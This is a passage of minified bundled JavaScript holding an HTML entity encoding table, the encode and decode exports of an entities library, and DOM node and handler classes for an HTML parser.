;\"],[0,\"&NotRightTriangleEqual;\"],[0,\"&vellip;\"],[0,\"&ctdot;\"],[0,\"&utdot;\"],[0,\"&dtdot;\"],[0,\"&disin;\"],[0,\"&isinsv;\"],[0,\"&isins;\"],[0,{v:\"&isindot;\",n:824,o:\"&notindot;\"}],[0,\"&notinvc;\"],[0,\"&notinvb;\"],[1,{v:\"&isinE;\",n:824,o:\"&notinE;\"}],[0,\"&nisd;\"],[0,\"&xnis;\"],[0,\"&nis;\"],[0,\"&notnivc;\"],[0,\"&notnivb;\"],[6,\"&barwed;\"],[0,\"&Barwed;\"],[1,\"&lceil;\"],[0,\"&rceil;\"],[0,\"&LeftFloor;\"],[0,\"&rfloor;\"],[0,\"&drcrop;\"],[0,\"&dlcrop;\"],[0,\"&urcrop;\"],[0,\"&ulcrop;\"],[0,\"&bnot;\"],[1,\"&profline;\"],[0,\"&profsurf;\"],[1,\"&telrec;\"],[0,\"&target;\"],[5,\"&ulcorn;\"],[0,\"&urcorn;\"],[0,\"&dlcorn;\"],[0,\"&drcorn;\"],[2,\"&frown;\"],[0,\"&smile;\"],[9,\"&cylcty;\"],[0,\"&profalar;\"],[7,\"&topbot;\"],[6,\"&ovbar;\"],[1,\"&solbar;\"],[60,\"&angzarr;\"],[51,\"&lmoustache;\"],[0,\"&rmoustache;\"],[2,\"&OverBracket;\"],[0,\"&bbrk;\"],[0,\"&bbrktbrk;\"],[37,\"&OverParenthesis;\"],[0,\"&UnderParenthesis;\"],[0,\"&OverBrace;\"],[0,\"&UnderBrace;\"],[2,\"&trpezium;\"],[4,\"&elinters;\"],[59,\"&blank;\"],[164,\"&circledS;\"],[55,\"&boxh;\"],[1,\"&boxv;\"],[9,\"&boxdr;\"],[3,\"&boxdl;\"],[3,\"&boxur;\"],[3,\"&boxul;\"],[3,\"&boxvr;\"],[7,\"&boxvl;\"],[7,\"&boxhd;\"],[7,\"&boxhu;\"],[7,\"&boxvh;\"],[19,\"&boxH;\"],[0,\"&boxV;\"],[0,\"&boxdR;\"],[0,\"&boxDr;\"],[0,\"&boxDR;\"],[0,\"&boxdL;\"],[0,\"&boxDl;\"],[0,\"&boxDL;\"],[0,\"&boxuR;\"],[0,\"&boxUr;\"],[0,\"&boxUR;\"],[0,\"&boxuL;\"],[0,\"&boxUl;\"],[0,\"&boxUL;\"],[0,\"&boxvR;\"],[0,\"&boxVr;\"],[0,\"&boxVR;\"],[0,\"&boxvL;\"],[0,\"&boxVl;\"],[0,\"&boxVL;\"],[0,\"&boxHd;\"],[0,\"&boxhD;\"],[0,\"&boxHD;\"],[0,\"&boxHu;\"],[0,\"&boxhU;\"],[0,\"&boxHU;\"],[0,\"&boxvH;\"],[0,\"&boxVh;\"],[0,\"&boxVH;\"],[19,\"&uhblk;\"],[3,\"&lhblk;\"],[3,\"&block;\"],[8,\"&blk14;\"],[0,\"&blk12;\"],[0,\"&blk34;\"],[13,\"&square;\"],[8,\"&blacksquare;\"],[0,\"&EmptyVerySmallSquare;\"],[1,\"&rect;\"],[0,\"&marker;\"],[2,\"&fltns;\"],[1,\"&bigtriangleup;\"],[0,\"&blacktriangle;\"],[0,\"&triangle;\"],[2,\"&blacktriangleright;\"],[0,\"&rtri;\"],[3,\"&bigtriangledown;\"],[0,\"&blacktriangledown;\"],[0,\"&dtri;\"],[2,\"&blacktriangleleft;\"],[0,\"&ltri;\"],[6,\"&loz;\"],[0,\"&cir;\"],[32,\"&tridot;\"],[2,\"&bigcirc;\"],[8,\"&ultri;\"],[0,\"&urtri;\"],[0,\"&lltri;\"],[0,\"&EmptySmallSquare;\"],[0,\"&FilledSmallSquare;\"],[8,\"&bigstar;\"],[0,\"&star;\"],[7,\"&phone;\"],[49,\"&female;\"],[1,\"&male;\"],[29,\"&spades;\"],[2,\"&clubs;\"],[1,\"&hearts;\"],[0,\"&diamondsuit;\"],[3,\"&sung;\"],[2,\"&flat;\"],[0,\"&natural;\"],[0,\"&sharp;\"],[163,\"&check;\"],[3,\"&cross;\"],[8,\"&malt;\"],[21,\"&sext;\"],[33,\"&VerticalSeparator;\"],[25,\"&lbbrk;\"],[0,\"&rbbrk;\"],[84,\"&bsolhsub;\"],[0,\"&suphsol;\"],[28,\"&LeftDoubleBracket;\"],[0,\"&RightDoubleBracket;\"],[0,\"&lang;\"],[0,\"&rang;\"],[0,\"&Lang;\"],[0,\"&Rang;\"],[0,\"&loang;\"],[0,\"&roang;\"],[7,\"&longleftarrow;\"],[0,\"&longrightarrow;\"],[0,\"&longleftrightarrow;\"],[0,\"&DoubleLongLeftArrow;\"],[0,\"&DoubleLongRightArrow;\"],[0,\"&DoubleLongLeftRightArrow;\"],[1,\"&longmapsto;\"],[2,\"&dzigrarr;\"],[258,\"&nvlArr;\"],[0,\"&nvrArr;\"],[0,\"&nvHarr;\"],[0,\"&Map;\"],[6,\"&lbarr;\"],[0,\"&bkarow;\"],[0,\"&lBarr;\"],[0,\"&dbkarow;\"],[0,\"&drbkarow;\"],[0,\"&DDotrahd;\"],[0,\"&UpArrowBar;\"],[0,\"&DownArrowBar;\"],[2,\"&Rarrtl;\"],[2,\"&latail;\"],[0,\"&ratail;\"],[0,\"&lAtail;\"],[0,\"&rAtail;\"],[0,\"&larrfs;\"],[0,\"&rarrfs;\"],[0,\"&larrbfs;\"],[0,\"&rarrbfs;\"],[2,\"&nwarhk;\"],[0,\"&nearhk;\"],[0,\"&hksearow;\"],[0,\"&hkswarow;\"],[0,\"&nwnear;\"],[0,\"&nesear;\"],[0,\"&seswar;\"],[0,\"&swnwar;\"],[8,{v:\"&rarrc;\",n:824,o:\"&nrarrc;\"}],[1,\"&cudarrr;\"],[0,\"&ldca;\"],[0,\"&rdca;\"],[0,\"&cudarrl;\"],[0,\"&larrpl;\"],[2,\"&curarrm;\"],[0,\"&cularrp;\"],[7,\"&rarrpl;\"],[2,\"&harrcir;\"],[0,\"&Uarrocir;\"],[0,\"&lurdshar;\"],[0,\"&ldrushar;\"],[2,\"&LeftRightVector;\"],[0,\"&RightUpDownVector;\"],[0,\"&DownLeftRightVector;\"],[0,\"&LeftUpDownVector;\"],[0,\"&LeftVectorBar;\"],[0,\"&RightVectorBar;\"],[0,\"&RightUpVectorBar;\"],[0,\"&RightDownVectorBar;\"],[0,\"&DownLeftVectorBar;\"],[0,\"&DownRightVectorBar;\"],[0,\"&LeftUpVectorBar;\"],[0,\"&LeftDownVectorBar;\"],[0,\"&LeftTeeVector;\"],[0,\"&RightTeeVector;\"],[0,\"&RightUpTeeVector;\"],[0,\"&RightDownTeeVector;\"],[0,\"&DownLeftTeeVector;\"],[0,\"&DownRightTeeVector;\"],[0,\"&LeftUpTeeVector;\"],[0,\"&LeftDownTeeVector;\"],[0,\"&lHar;\"],[0,\"&uHar;\"],[0,\"&rHar;\"],[0,\"&dHar;\"],[0,\"&luruhar;\"],[0,\"&ldrdhar;\"],[0,\"&ruluhar;\"],[0,\"&rdldhar;\"],[0,\"&lharul;\"],[0,\"&llhard;\"],[0,\"&rharul;\"],[0,\"&lrhard;\"],[0,\"&udhar;\"],[0,\"&duhar;\"],[0,\"&RoundImplies;\"],[0,\"&erarr;\"],[0,\"&simrarr;\"],[0,\"&larrsim;\"],[0,\"&rarrsim;\"],[0,\"&rarrap;\"],[0,\"&ltlarr;\"],[1,\"&gtrarr;\"],[0,\"&subrarr;\"],[1,\"&suplarr;\"],[0,\"&lfisht;\"],[0,\"&rfisht;\"],[0,\"&ufisht;\"],[0,\"&dfisht;\"],[5,\"&lopar;\"],[0,\"&ropar;\"],[4,\"&lbrke;\"],[0,\"&rbrke;\"],[0,\"&lbrkslu;\"],[0,\"&rbrksld;\"],[0,\"&lbrksld;\"],[0,\"&rbrkslu;\"],[0,\"&langd;\"],[0,\"&rangd;\"],[0,\"&lparlt;\"],[0,\"&rpargt;\"],[0,\"&gtlPar;\"],[0,\"&ltrPar;\"],[3,\"&vzigzag;\"],[1,\"&vangrt;\"],[0,\"&angrtvbd;\"],[6,\"&ange;\"],[0,\"&range;\"],[0,\"&dwangle;\"],[0,\"&uwangle;\"],[0,\"&angmsdaa;\"],[0,\"&angmsdab;\"],[0,\"&angmsdac;\"],[0,\"&angmsdad;\"],[0,\"&angmsdae;\"],[0,\"&angmsdaf;\"],[0,\"&angmsdag;\"],[0,\"&angmsdah;\"],[0,\"&bemptyv;\"],[0,\"&demptyv;\"],[0,\"&cemptyv;\"],[0,\"&raemptyv;\"],[0,\"&laemptyv;\"],[0,\"&ohbar;\"],[0,\"&omid;\"],[0,\"&opar;\"],[1,\"&operp;\"],[1,\"&olcross;\"],[0,\"&odsold;\"],[1,\"&olcir;\"],[0,\"&ofcir;\"],[0,\"&olt;\"],[0,\"&ogt;\"],[0,\"&cirscir;\"],[0,\"&cirE;\"],[0,\"&solb;\"],[0,\"&bsolb;\"],[3,\"&boxbox;\"],[3,\"&trisb;\"],[0,\"&rtriltri;\"],[0,{v:\"&LeftTriangleBar;\",n:824,o:\"&NotLeftTriangleBar;\"}],[0,{v:\"&RightTriangleBar;\",n:824,o:\"&NotRightTriangleBar;\"}],[11,\"&iinfin;\"],[0,\"&infintie;\"],[0,\"&nvinfin;\"],[4,\"&eparsl;\"],[0,\"&smeparsl;\"],[0,\"&eqvparsl;\"],[5,\"&blacklozenge;\"],[8,\"&RuleDelayed;\"],[1,\"&dsol;\"],[9,\"&bigodot;\"],[0,\"&bigoplus;\"],[0,\"&bigotimes;\"],[1,\"&biguplus;\"],[1,\"&bigsqcup;\"],[5,\"&iiiint;\"],[0,\"&fpartint;\"],[2,\"&cirfnint;\"],[0,\"&awint;\"],[0,\"&rppolint;\"],[0,\"&scpolint;\"],[0,\"&npolint;\"],[0,\"&pointint;\"],[0,\"&quatint;\"],[0,\"&intlarhk;\"],[10,\"&pluscir;\"],[0,\"&plusacir;\"],[0,\"&simplus;\"],[0,\"&plusdu;\"],[0,\"&plussim;\"],[0,\"&plustwo;\"],[1,\"&mcomma;\"],[0,\"&minusdu;\"],[2,\"&loplus;\"],[0,\"&roplus;\"],[0,\"&Cross;\"],[0,\"&timesd;\"],[0,\"&timesbar;\"],[1,\"&smashp;\"],[0,\"&lotimes;\"],[0,\"&rotimes;\"],[0,\"&otimesas;\"],[0,\"&Otimes;\"],[0,\"&odiv;\"],[0,\"&triplus;\"],[0,\"&triminus;\"],[0,\"&tritime;\"],[0,\"&intprod;\"],[2,\"&amalg;\"],[0,\"&capdot;\"],[1,\"&ncup;\"],[0,\"&ncap;\"],[0,\"&capand;\"],[0,\"&cupor;\"],[0,\"&cupcap;\"],[0,\"&capcup;\"],[0,\"&cupbrcap;\"],[0,\"&capbrcup;\"],[0,\"&cupcup;\"],[0,\"&capcap;\"],[0,\"&ccups;\"],[0,\"&ccaps;\"],[2,\"&ccupssm;\"],[2,\"&And;\"],[0,\"&Or;\"],[0,\"&andand;\"],[0,\"&oror;\"],[0,\"&orslope;\"],[0,\"&andslope;\"],[1,\"&andv;\"],[0,\"&orv;\"],[0,\"&andd;\"],[0,\"&ord;\"],[1,\"&wedbar;\"],[6,\"&sdote;\"],[3,\"&simdot;\"],[2,{v:\"&congdot;\",n:824,o:\"&ncongdot;\"}],[0,\"&easter;\"],[0,\"&apacir;\"],[0,{v:\"&apE;\",n:824,o:\"&napE;\"}],[0,\"&eplus;\"],[0,\"&pluse;\"],[0,\"&Esim;\"],[0,\"&Colone;\"],[0,\"&Equal;\"],[1,\"&ddotseq;\"],[0,\"&equivDD;\"],[0,\"&ltcir;\"],[0,\"&gtcir;\"],[0,\"&ltquest;\"],[0,\"&gtquest;\"],[0,{v:\"&leqslant;\",n:824,o:\"&nleqslant;\"}],[0,{v:\"&geqslant;\",n:824,o:\"&ngeqslant;\"}],[0,\"&lesdot;\"],[0,\"&gesdot;\"],[0,\"&lesdoto;\"],[0,\"&gesdoto;\"],[0,\"&lesdotor;\"],[0,\"&gesdotol;\"],[0,\"&lap;\"],[0,\"&gap;\"],[0,\"&lne;\"],[0,\"&gne;\"],[0,\"&lnap;\"],[0,\"&gnap;\"],[0,\"&lEg;\"],[0,\"&gEl;\"],[0,\"&lsime;\"],[0,\"&gsime;\"],[0,\"&lsimg;\"],[0,\"&gsiml;\"],[0,\"&lgE;\"],[0,\"&glE;\"],[0,\"&lesges;\"],[0,\"&gesles;\"],[0,\"&els;\"],[0,\"&egs;\"],[0,\"&elsdot;\"],[0,\"&egsdot;\"],[0,\"&el;\"],[0,\"&eg;\"],[2,\"&siml;\"],[0,\"&simg;\"],[0,\"&simlE;\"],[0,\"&simgE;\"],[0,{v:\"&LessLess;\",n:824,o:\"&NotNestedLessLess;\"}],[0,{v:\"&GreaterGreater;\",n:824,o:\"&NotNestedGreaterGreater;\"}],[1,\"&glj;\"],[0,\"&gla;\"],[0,\"&ltcc;\"],[0,\"&gtcc;\"],[0,\"&lescc;\"],[0,\"&gescc;\"],[0,\"&smt;\"],[0,\"&lat;\"],[0,{v:\"&smte;\",n:65024,o:\"&smtes;\"}],[0,{v:\"&late;\",n:65024,o:\"&lates;\"}],[0,\"&bumpE;\"],[0,{v:\"&PrecedesEqual;\",n:824,o:\"&NotPrecedesEqual;\"}],[0,{v:\"&sce;\",n:824,o:\"&NotSucceedsEqual;\"}],[2,\"&prE;\"],[0,\"&scE;\"],[0,\"&precneqq;\"],[0,\"&scnE;\"],[0,\"&prap;\"],[0,\"&scap;\"],[0,\"&precnapprox;\"],[0,\"&scnap;\"],[0,\"&Pr;\"],[0,\"&Sc;\"],[0,\"&subdot;\"],[0,\"&supdot;\"],[0,\"&subplus;\"],[0,\"&supplus;\"],[0,\"&submult;\"],[0,\"&supmult;\"],[0,\"&subedot;\"],[0,\"&supedot;\"],[0,{v:\"&subE;\",n:824,o:\"&nsubE;\"}],[0,{v:\"&supE;\",n:824,o:\"&nsupE;\"}],[0,\"&subsim;\"],[0,\"&supsim;\"],[2,{v:\"&subnE;\",n:65024,o:\"&varsubsetneqq;\"}],[0,{v:\"&supnE;\",n:65024,o:\"&varsupsetneqq;\"}],[2,\"&csub;\"],[0,\"&csup;\"],[0,\"&csube;\"],[0,\"&csupe;\"],[0,\"&subsup;\"],[0,\"&supsub;\"],[0,\"&subsub;\"],[0,\"&supsup;\"],[0,\"&suphsub;\"],[0,\"&supdsub;\"],[0,\"&forkv;\"],[0,\"&topfork;\"],[0,\"&mlcp;\"],[8,\"&Dashv;\"],[1,\"&Vdashl;\"],[0,\"&Barv;\"],[0,\"&vBar;\"],[0,\"&vBarv;\"],[1,\"&Vbar;\"],[0,\"&Not;\"],[0,\"&bNot;\"],[0,\"&rnmid;\"],[0,\"&cirmid;\"],[0,\"&midcir;\"],[0,\"&topcir;\"],[0,\"&nhpar;\"],[0,\"&parsim;\"],[9,{v:\"&parsl;\",n:8421,o:\"&nparsl;\"}],[44343,{n:new Map(r([[56476,\"&Ascr;\"],[1,\"&Cscr;\"],[0,\"&Dscr;\"],[2,\"&Gscr;\"],[2,\"&Jscr;\"],[0,\"&Kscr;\"],[2,\"&Nscr;\"],[0,\"&Oscr;\"],[0,\"&Pscr;\"],[0,\"&Qscr;\"],[1,\"&Sscr;\"],[0,\"&Tscr;\"],[0,\"&Uscr;\"],[0,\"&Vscr;\"],[0,\"&Wscr;\"],[0,\"&Xscr;\"],[0,\"&Yscr;\"],[0,\"&Zscr;\"],[0,\"&ascr;\"],[0,\"&bscr;\"],[0,\"&cscr;\"],[0,\"&dscr;\"],[1,\"&fscr;\"],[1,\"&hscr;\"],[0,\"&iscr;\"],[0,\"&jscr;\"],[0,\"&kscr;\"],[0,\"&lscr;\"],[0,\"&mscr;\"],[0,\"&nscr;\"],[1,\"&pscr;\"],[0,\"&qscr;\"],[0,\"&rscr;\"],[0,\"&sscr;\"],[0,\"&tscr;\"],[0,\"&uscr;\"],[0,\"&vscr;\"],[0,\"&wscr;\"],[0,\"&xscr;\"],[0,\"&yscr;\"],[0,\"&zscr;\"],[52,\"&Afr;\"],[0,\"&Bfr;\"],[1,\"&Dfr;\"],[0,\"&Efr;\"],[0,\"&Ffr;\"],[0,\"&Gfr;\"],[2,\"&Jfr;\"],[0,\"&Kfr;\"],[0,\"&Lfr;\"],[0,\"&Mfr;\"],[0,\"&Nfr;\"],[0,\"&Ofr;\"],[0,\"&Pfr;\"],[0,\"&Qfr;\"],[1,\"&Sfr;\"],[0,\"&Tfr;\"],[0,\"&Ufr;\"],[0,\"&Vfr;\"],[0,\"&Wfr;\"],[0,\"&Xfr;\"],[0,\"&Yfr;\"],[1,\"&afr;\"],[0,\"&bfr;\"],[0,\"&cfr;\"],[0,\"&dfr;\"],[0,\"&efr;\"],[0,\"&ffr;\"],[0,\"&gfr;\"],[0,\"&hfr;\"],[0,\"&ifr;\"],[0,\"&jfr;\"],[0,\"&kfr;\"],[0,\"&lfr;\"],[0,\"&mfr;\"],[0,\"&nfr;\"],[0,\"&ofr;\"],[0,\"&pfr;\"],[0,\"&qfr;\"],[0,\"&rfr;\"],[0,\"&sfr;\"],[0,\"&tfr;\"],[0,\"&ufr;\"],[0,\"&vfr;\"],[0,\"&wfr;\"],[0,\"&xfr;\"],[0,\"&yfr;\"],[0,\"&zfr;\"],[0,\"&Aopf;\"],[0,\"&Bopf;\"],[1,\"&Dopf;\"],[0,\"&Eopf;\"],[0,\"&Fopf;\"],[0,\"&Gopf;\"],[1,\"&Iopf;\"],[0,\"&Jopf;\"],[0,\"&Kopf;\"],[0,\"&Lopf;\"],[0,\"&Mopf;\"],[1,\"&Oopf;\"],[3,\"&Sopf;\"],[0,\"&Topf;\"],[0,\"&Uopf;\"],[0,\"&Vopf;\"],[0,\"&Wopf;\"],[0,\"&Xopf;\"],[0,\"&Yopf;\"],[1,\"&aopf;\"],[0,\"&bopf;\"],[0,\"&copf;\"],[0,\"&dopf;\"],[0,\"&eopf;\"],[0,\"&fopf;\"],[0,\"&gopf;\"],[0,\"&hopf;\"],[0,\"&iopf;\"],[0,\"&jopf;\"],[0,\"&kopf;\"],[0,\"&lopf;\"],[0,\"&mopf;\"],[0,\"&nopf;\"],[0,\"&oopf;\"],[0,\"&popf;\"],[0,\"&qopf;\"],[0,\"&ropf;\"],[0,\"&sopf;\"],[0,\"&topf;\"],[0,\"&uopf;\"],[0,\"&vopf;\"],[0,\"&wopf;\"],[0,\"&xopf;\"],[0,\"&yopf;\"],[0,\"&zopf;\"]]))}],[8906,\"&fflig;\"],[0,\"&filig;\"],[0,\"&fllig;\"],[0,\"&ffilig;\"],[0,\"&ffllig;\"]]))},808(t,e,r){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.decodeXMLStrict=e.decodeHTML5Strict=e.decodeHTML4Strict=e.decodeHTML5=e.decodeHTML4=e.decodeHTMLAttribute=e.decodeHTMLStrict=e.decodeHTML=e.decodeXML=e.DecodingMode=e.EntityDecoder=e.encodeHTML5=e.encodeHTML4=e.encodeNonAsciiHTML=e.encodeHTML=e.escapeText=e.escapeAttribute=e.escapeUTF8=e.escape=e.encodeXML=e.encode=e.decodeStrict=e.decode=e.EncodingMode=e.EntityLevel=void 0;var n,i,o=r(9004),a=r(4116),s=r(9321);function l(t,e){if(void 0===e&&(e=n.XML),(\"number\"==typeof e?e:e.level)===n.HTML){var r=\"object\"==typeof e?e.mode:void 0;return(0,o.decodeHTML)(t,r)}return(0,o.decodeXML)(t)}!function(t){t[t.XML=0]=\"XML\",t[t.HTML=1]=\"HTML\"}(n=e.EntityLevel||(e.EntityLevel={})),function(t){t[t.UTF8=0]=\"UTF8\",t[t.ASCII=1]=\"ASCII\",t[t.Extensive=2]=\"Extensive\",t[t.Attribute=3]=\"Attribute\",t[t.Text=4]=\"Text\"}(i=e.EncodingMode||(e.EncodingMode={})),e.decode=l,e.decodeStrict=function(t,e){var r;void 0===e&&(e=n.XML);var i=\"number\"==typeof e?{level:e}:e;return null!==(r=i.mode)&&void 0!==r||(i.mode=o.DecodingMode.Strict),l(t,i)},e.encode=function(t,e){void 0===e&&(e=n.XML);var r=\"number\"==typeof e?{level:e}:e;return r.mode===i.UTF8?(0,s.escapeUTF8)(t):r.mode===i.Attribute?(0,s.escapeAttribute)(t):r.mode===i.Text?(0,s.escapeText)(t):r.level===n.HTML?r.mode===i.ASCII?(0,a.encodeNonAsciiHTML)(t):(0,a.encodeHTML)(t):(0,s.encodeXML)(t)};var c=r(9321);Object.defineProperty(e,\"encodeXML\",{enumerable:!0,get:function(){return c.encodeXML}}),Object.defineProperty(e,\"escape\",{enumerable:!0,get:function(){return c.escape}}),Object.defineProperty(e,\"escapeUTF8\",{enumerable:!0,get:function(){return c.escapeUTF8}}),Object.defineProperty(e,\"escapeAttribute\",{enumerable:!0,get:function(){return c.escapeAttribute}}),Object.defineProperty(e,\"escapeText\",{enumerable:!0,get:function(){return c.escapeText}});var u=r(4116);Object.defineProperty(e,\"encodeHTML\",{enumerable:!0,get:function(){return u.encodeHTML}}),Object.defineProperty(e,\"encodeNonAsciiHTML\",{enumerable:!0,get:function(){return u.encodeNonAsciiHTML}}),Object.defineProperty(e,\"encodeHTML4\",{enumerable:!0,get:function(){return u.encodeHTML}}),Object.defineProperty(e,\"encodeHTML5\",{enumerable:!0,get:function(){return u.encodeHTML}});var p=r(9004);Object.defineProperty(e,\"EntityDecoder\",{enumerable:!0,get:function(){return p.EntityDecoder}}),Object.defineProperty(e,\"DecodingMode\",{enumerable:!0,get:function(){return p.DecodingMode}}),Object.defineProperty(e,\"decodeXML\",{enumerable:!0,get:function(){return p.decodeXML}}),Object.defineProperty(e,\"decodeHTML\",{enumerable:!0,get:function(){return p.decodeHTML}}),Object.defineProperty(e,\"decodeHTMLStrict\",{enumerable:!0,get:function(){return p.decodeHTMLStrict}}),Object.defineProperty(e,\"decodeHTMLAttribute\",{enumerable:!0,get:function(){return p.decodeHTMLAttribute}}),Object.defineProperty(e,\"decodeHTML4\",{enumerable:!0,get:function(){return p.decodeHTML}}),Object.defineProperty(e,\"decodeHTML5\",{enumerable:!0,get:function(){return p.decodeHTML}}),Object.defineProperty(e,\"decodeHTML4Strict\",{enumerable:!0,get:function(){return p.decodeHTMLStrict}}),Object.defineProperty(e,\"decodeHTML5Strict\",{enumerable:!0,get:function(){return p.decodeHTMLStrict}}),Object.defineProperty(e,\"decodeXMLStrict\",{enumerable:!0,get:function(){return p.decodeXML}})},4128(t,e,r){\"use strict\";var n=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),i=this&&this.__exportStar||function(t,e){for(var r in t)\"default\"===r||Object.prototype.hasOwnProperty.call(e,r)||n(e,t,r)};Object.defineProperty(e,\"__esModule\",{value:!0}),e.DomHandler=void 0;var o=r(5413),a=r(430);i(r(430),e);var s={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},l=function(){function t(t,e,r){this.dom=[],this.root=new a.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,\"function\"==typeof e&&(r=e,e=s),\"object\"==typeof t&&(e=t,t=void 0),this.callback=null!=t?t:null,this.options=null!=e?e:s,this.elementCB=null!=r?r:null}return t.prototype.onparserinit=function(t){this.parser=t},t.prototype.onreset=function(){this.dom=[],this.root=new a.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},t.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},t.prototype.onerror=function(t){this.handleCallback(t)},t.prototype.onclosetag=function(){this.lastNode=null;var t=this.tagStack.pop();this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(t)},t.prototype.onopentag=function(t,e){var r=this.options.xmlMode?o.ElementType.Tag:void 0,n=new a.Element(t,e,void 0,r);this.addNode(n),this.tagStack.push(n)},t.prototype.ontext=function(t){var e=this.lastNode;if(e&&e.type===o.ElementType.Text)e.data+=t,this.options.withEndIndices&&(e.endIndex=this.parser.endIndex);else{var r=new a.Text(t);this.addNode(r),this.lastNode=r}},t.prototype.oncomment=function(t){if(this.lastNode&&this.lastNode.type===o.ElementType.Comment)this.lastNode.data+=t;else{var e=new a.Comment(t);this.addNode(e),this.lastNode=e}},t.prototype.oncommentend=function(){this.lastNode=null},t.prototype.oncdatastart=function(){var t=new a.Text(\"\"),e=new a.CDATA([t]);this.addNode(e),t.parent=e,this.lastNode=t},t.prototype.oncdataend=function(){this.lastNode=null},t.prototype.onprocessinginstruction=function(t,e){var r=new a.ProcessingInstruction(t,e);this.addNode(r)},t.prototype.handleCallback=function(t){if(\"function\"==typeof this.callback)this.callback(t,this.dom);else if(t)throw t},t.prototype.addNode=function(t){var e=this.tagStack[this.tagStack.length-1],r=e.children[e.children.length-1];this.options.withStartIndices&&(t.startIndex=this.parser.startIndex),this.options.withEndIndices&&(t.endIndex=this.parser.endIndex),e.children.push(t),r&&(t.prev=r,r.next=t),t.parent=e,this.lastNode=null},t}();e.DomHandler=l,e.default=l},430(t,e,r){\"use strict\";var n,i=this&&this.__extends||(n=function(t,e){return n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if(\"function\"!=typeof e&&null!==e)throw new TypeError(\"Class extends value \"+String(e)+\" is not a constructor or null\");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),o=this&&this.__assign||function(){return o=Object.assign||function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var i in e=arguments[r])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t},o.apply(this,arguments)};Object.defineProperty(e,\"__esModule\",{value:!0}),e.cloneNode=e.hasChildren=e.isDocument=e.isDirective=e.isComment=e.isText=e.isCDATA=e.isTag=e.Element=e.Document=e.CDATA=e.NodeWithChildren=e.ProcessingInstruction=e.Comment=e.Text=e.DataNode=e.Node=void 0;var a=r(5413),s=function(){function t(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(t.prototype,\"parentNode\",{get:function(){return this.parent},set:function(t){this.parent=t},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,\"previousSibling\",{get:function(){return this.prev},set:function(t){this.prev=t},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,\"nextSibling\",{get:function(){return this.next},set:function(t){this.next=t},enumerable:!1,configurable:!0}),t.prototype.cloneNode=function(t){return void 0===t&&(t=!1),w(this,t)},t}();e.Node=s;var l=function(t){function e(e){var r=t.call(this)||this;return r.data=e,r}return i(e,t),Object.defineProperty(e.prototype,\"nodeValue\",{get:function(){return this.data},set:function(t){this.data=t},enumerable:!1,configurable:!0}),e}(s);e.DataNode=l;var c=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=a.ElementType.Text,e}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 3},enumerable:!1,configurable:!0}),e}(l);e.Text=c;var u=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=a.ElementType.Comment,e}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 8},enumerable:!1,configurable:!0}),e}(l);e.Comment=u;var p=function(t){function e(e,r){var n=t.call(this,r)||this;return n.name=e,n.type=a.ElementType.Directive,n}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 1},enumerable:!1,configurable:!0}),e}(l);e.ProcessingInstruction=p;var d=function(t){function e(e){var r=t.call(this)||this;return r.children=e,r}return i(e,t),Object.defineProperty(e.prototype,\"firstChild\",{get:function(){var t;return null!==(t=this.children[0])&&void 0!==t?t:null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,\"lastChild\",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,\"childNodes\",{get:function(){return this.children},set:function(t){this.children=t},enumerable:!1,configurable:!0}),e}(s);e.NodeWithChildren=d;var m=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=a.ElementType.CDATA,e}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 4},enumerable:!1,configurable:!0}),e}(d);e.CDATA=m;var f=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e.type=a.ElementType.Root,e}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 9},enumerable:!1,configurable:!0}),e}(d);e.Document=f;var h=function(t){function e(e,r,n,i){void 0===n&&(n=[]),void 0===i&&(i=\"script\"===e?a.ElementType.Script:\"style\"===e?a.ElementType.Style:a.ElementType.Tag);var o=t.call(this,n)||this;return o.name=e,o.attribs=r,o.type=i,o}return i(e,t),Object.defineProperty(e.prototype,\"nodeType\",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,\"tagName\",{get:function(){return this.name},set:function(t){this.name=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,\"attributes\",{get:function(){var t=this;return Object.keys(this.attribs).map(function(e){var r,n;return{name:e,value:t.attribs[e],namespace:null===(r=t[\"x-attribsNamespace\"])||void 0===r?void 0:r[e],prefix:null===(n=t[\"x-attribsPrefix\"])||void 0===n?void 0:n[e]}})},enumerable:!1,configurable:!0}),e}(d);function g(t){return(0,a.isTag)(t)}function A(t){return t.type===a.ElementType.CDATA}function b(t){return t.type===a.ElementType.Text}function y(t){return t.type===a.ElementType.Comment}function v(t){return 